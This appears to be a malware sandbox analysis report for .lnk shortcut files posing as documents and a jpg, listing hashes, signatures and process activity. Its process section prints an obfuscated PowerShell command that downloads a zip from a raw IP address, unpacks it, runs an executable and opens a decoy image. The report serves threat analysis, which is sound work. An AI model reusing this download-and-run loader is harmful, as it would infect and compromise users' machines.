Overview
overview
10Static
static
1brt_1_0147.doc.lnk
windows7-x64
3brt_1_0147.doc.lnk
windows10-2004-x64
10oshad_88.docx.lnk
windows7-x64
3oshad_88.docx.lnk
windows10-2004-x64
10rv_luti_20...sx.lnk
windows7-x64
3rv_luti_20...sx.lnk
windows10-2004-x64
10telegrama_...pg.lnk
windows7-x64
3telegrama_...pg.lnk
windows10-2004-x64
10Analysis
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max time kernel
119s -
max time network
123s -
platform
windows7_x64 -
resource
win7-20240704-en -
resource tags
arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system -
submitted
27-07-2024 02:06
Static task
static1
Behavioral task
behavioral1
Sample
brt_1_0147.doc.lnk
Resource
win7-20240705-en
Behavioral task
behavioral2
Sample
brt_1_0147.doc.lnk
Resource
win10v2004-20240709-en
Behavioral task
behavioral3
Sample
oshad_88.docx.lnk
Resource
win7-20240708-en
Behavioral task
behavioral4
Sample
oshad_88.docx.lnk
Resource
win10v2004-20240709-en
Behavioral task
behavioral5
Sample
rv_luti_2024_roku.xlsx.lnk
Resource
win7-20240708-en
Behavioral task
behavioral6
Sample
rv_luti_2024_roku.xlsx.lnk
Resource
win10v2004-20240709-en
Behavioral task
behavioral7
Sample
telegrama_ksv_po_btgr.jpg.lnk
Resource
win7-20240704-en
General
-
Target
telegrama_ksv_po_btgr.jpg.lnk
-
Size
691KB
-
MD5
1b61b585894e7f10e0832267aece4ae5
-
SHA1
dfe46a56fa632dca431378783294d0d628dbbf11
-
SHA256
7fc0ad878bbb15947115a6726c873bf8f682f7ef9e4ad8eed87718e710462d68
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SHA512
2b1c2503bea85fb3506ee8873c738fc94ef6eb30b61267db648438bfc807aad89695898c98911f8c5f1728d4b807d0cdbd425dcefff1ad004de7a5e8590516a4
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SSDEEP
24:87+L4zxKx2cWwlAFWY+/CWd3LUJ9PRZXhuaEkDllXQdxb0NFxCcK4hyJllQQK7Oj:8C8xwOu3m9PRZRuaqoxCcKXP9Ousbsg
Malware Config
Signatures
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious behavior: EnumeratesProcesses 1 IoCs
Processes:
powershell.exepid process 2736 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 2736 powershell.exe -
Suspicious use of WriteProcessMemory 3 IoCs
Processes:
cmd.exedescription pid process target process PID 2520 wrote to memory of 2736 2520 cmd.exe powershell.exe PID 2520 wrote to memory of 2736 2520 cmd.exe powershell.exe PID 2520 wrote to memory of 2736 2520 cmd.exe powershell.exe
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\telegrama_ksv_po_btgr.jpg.lnk1⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -win 1 echo HpyFoGlBKeYQeWSdyufGOCGdzIwmgYgsnYKcjkFaHUpAXzbPAwbVNhh; echo miwjXBEddaBHwmYbdNByEwiJKM; echo LqOznMlUCsDTxYSjIUhsBBTbVfxuWySxodlFxGwFa; if (-not(Test-Path 'pgg.zip' -PathType Leaf)){&(G''et-C''om''ma''nd in???e-webr**) -uri h''t''tp:''//''8''1.''19''.13''9.7''4/fhtp934657hgjdkldjnblcvpgg.zip -OutFile pgg.zip}; echo xmuPVGdLRDEbkgTMJhpjqkgYErlsLMPnFgQbzNlPBRRvAEgNcREUTcP; Expand-Archive -Path pgg.zip -DestinationPath SecurityCheck; s''tar''t SecurityCheck/ScreenShot.exe; echo NHidrCPnjoegRZwYCYRruMbryNSdABbWytTvifRUxWfODYUOZl; &(Ge''t-Com''ma''nd in???e-webre***) -uri h''t''tp:''//''8''1.''19''.13''9.7''4/fhtp934657hgjdkldjnblcvracs/telegrama_ksv_po_btgr.jpg -OutFile telegrama_ksv_po_btgr.jpg; echo AyVgofGfoNdAnBCLApPXNBssQazwQ; s''t''a''rt telegrama_ksv_po_btgr.jpg2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
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Downloads
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memory/2736-38-0x000007FEF4FDE000-0x000007FEF4FDF000-memory.dmpFilesize
4KB
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memory/2736-39-0x000000001B580000-0x000000001B862000-memory.dmpFilesize
2.9MB
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memory/2736-40-0x0000000001F30000-0x0000000001F38000-memory.dmpFilesize
32KB
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memory/2736-42-0x000007FEF4D20000-0x000007FEF56BD000-memory.dmpFilesize
9.6MB
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memory/2736-43-0x000007FEF4D20000-0x000007FEF56BD000-memory.dmpFilesize
9.6MB
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memory/2736-41-0x000007FEF4D20000-0x000007FEF56BD000-memory.dmpFilesize
9.6MB
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memory/2736-44-0x000007FEF4D20000-0x000007FEF56BD000-memory.dmpFilesize
9.6MB
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memory/2736-45-0x000007FEF4D20000-0x000007FEF56BD000-memory.dmpFilesize
9.6MB